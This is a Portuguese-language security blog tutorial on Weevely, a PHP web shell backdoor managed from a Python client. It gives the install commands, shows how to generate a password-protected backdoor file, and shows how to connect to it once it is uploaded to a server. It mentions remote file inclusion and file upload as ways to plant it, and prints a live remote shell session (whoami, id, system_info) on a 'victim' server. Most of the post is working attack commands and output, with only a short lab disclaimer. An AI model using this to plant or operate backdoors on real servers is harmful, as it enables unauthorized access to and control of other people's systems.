sexta-feira, 8 de janeiro de 2016

Weevely :: Um poderoso Shell Backdoor PHP gerenciado por Python


O Weevely é um poderoso backdoor em PHP que possui um cliente Python muito fácil entendimento e manipulação. Mas primeiramente, pra que server um backdoor?
Um backdoor, como próprio nome diz, é um método que te permite ter acesso remoto a uma vitima por meio de uma porta não convencional, por exemplo: Sockets, Shell Reversas, Shells upadas e etc. Neste caso, o Weevely cria um arquivo que quando acessado pelo cliente com a senha, nos permite emular uma simples shell dentro do computador da vítima. Como você vai upar fica a seu critério dentro do seu laboratório, lembrando que não nos responsabilizamos pelo uso incorreto das ferramentas que abordamos aqui.

Download e Dependências do Weevely

 # git clone https://github.com/epinna/weevely3.git  
 # cd weevely3/  

Instalando as dependências:
 # g++ python-pip libyaml-dev python-dev pip  
 # pip install prettytable Mako pyaml dateutils readline PySocks --upgrade  

Vamos dar uma olhada nas opções do Weevely:
 root@fidelis:~/weevely3# ./weevely.py   
 [+] weevely 3.2.0  
 [!] Error: too few arguments  
 [+] Run terminal to the target  
   weevely <URL> <password> [cmd]  
 [+] Load session file  
   weevely session <path> [cmd]  
 [+] Generate backdoor agent  
   weevely generate <password> <path>  
 root@fidelis:~/weevely3#   

Kali 2.0 e Debian 8: Baixando e Instalando a versão Current do PySocks

 # wget https://pypi.python.org/packages/source/P/PySocks/PySocks-1.5.6.tar.gz#md5=c825c7c52b2c79dde73cac8d04bd25cb  
 # tar xvf PySocks-1.5.6.tar.gz  
 # chmod 777 PySocks-1.5.6 -R   
 # cd PySocks-1.5.6/  
 # ./setup.py build  
 # ./setup.py install   

Gerando uma Backdoor:

 # weevely generate suasenha /caminho/para/o/arquivo.php
 root@fidelis:~/weevely3# ./weevely.py generate nanoshots /home/matheus/shell.php  
 Generated backdoor with password 'nanoshots' in '/home/matheus/shell.php' of 1479 byte size.  
 root@fidelis:~/weevely3#   



Acessando a Backdoor

Supondo que você já tenha encontrado um meio de upar a Shell em um servidor, seja por remote file inclusion, SCP, SSH, File Upload ou qualquer outro tipo, vou deixar essa parte por sua conta e abordar esse procedimento em outro post. Portanto, agora vamos acessar nossa backdoor upada em nosso servidor.
 # ./weevely.py http:/urldoservidor/arquivo.php suasenha  
 root@fidelis:~/weevely3# ./weevely.py http://testserver.nanoshots.com.br/secure.php nanoshotspasswd  
 [+] weevely 3.2.0  
 [+] Target:     www-data@localhost:/var/www/testserver 
 [+] Session:     /root/.weevely/sessions/testserver.nanoshots.com.br/secure_0.session  
 [+] Shell:     System shell  
 [+] Browse the filesystem or execute commands starts the connection  
 [+] to the target. Type :help for more information.  
 weevely> whoami  
 www-data  
 www-data@localhost:/var/www/testserver $ id  
 uid=33(www-data) gid=33(www-data) groups=33(www-data),100(users)  
 www-data@localhost:/var/www/testserver $   

Utilitários auxiliares

O Weevely por mais que mantenha uma sessão entre você e o servidor quando a conexão é efetuada, ainda ela não é uma shell verdadeira dentro do sistema, portanto ela possui alguns recursos nativos que podem te ajudar e emular uma navegação em Shell dentro do server



Para utilizar qualquer um desses utilitários basta executar :comando, ex: :system_info
 www-data@localhost:/var $ :system_info  
 +--------------------+--------------------------------------------------------------------+  
 | client_ip       | 123.123.132.123                          
 | max_execution_time | 30                               
 | script          | /secure.php                        
 | open_basedir    |                                
 | hostname        | localhost                           
 | php_self        | /secure.php                            
 | script_folder   | /var/www/testserver                       
 | uname           | Linux localhost 3.2.0-4-amd64 #1 SMP Debian 3.2.65-1+deb7u2 x86_64   
 | pwd             | /var                                
 | safe_mode       | False                                
 | php_version     | 5.6.14-1~dotdeb+zts+7.1                       
 | dir_sep         | /                                 
 | os              | Linux                               
 | whoami          | www-data                              
 | document_root   | /var/www/testlink                         
 +--------------------+--------------------------------------------------------------------+  
 www-data@localhost:/var $   


SOBRE O AUTOR

Matheus Fidelis

http://msfidelis.github.io/

Power Ranger, Piloto de Helicópteros e Astronauta da NASA. Desenvolvedor Web PHP com foco em Backend e POO, Linux SysAdmin DevOps e Entusiasta Python. Criou esse site pra contribuir com a comunidade com coisas que aprende dentro de um setor maluco de TI :)

Postar um comentário

 
Nanoshots | Open Source Security, Linux e Tutoriais © 2015 - Designed by Templateism.com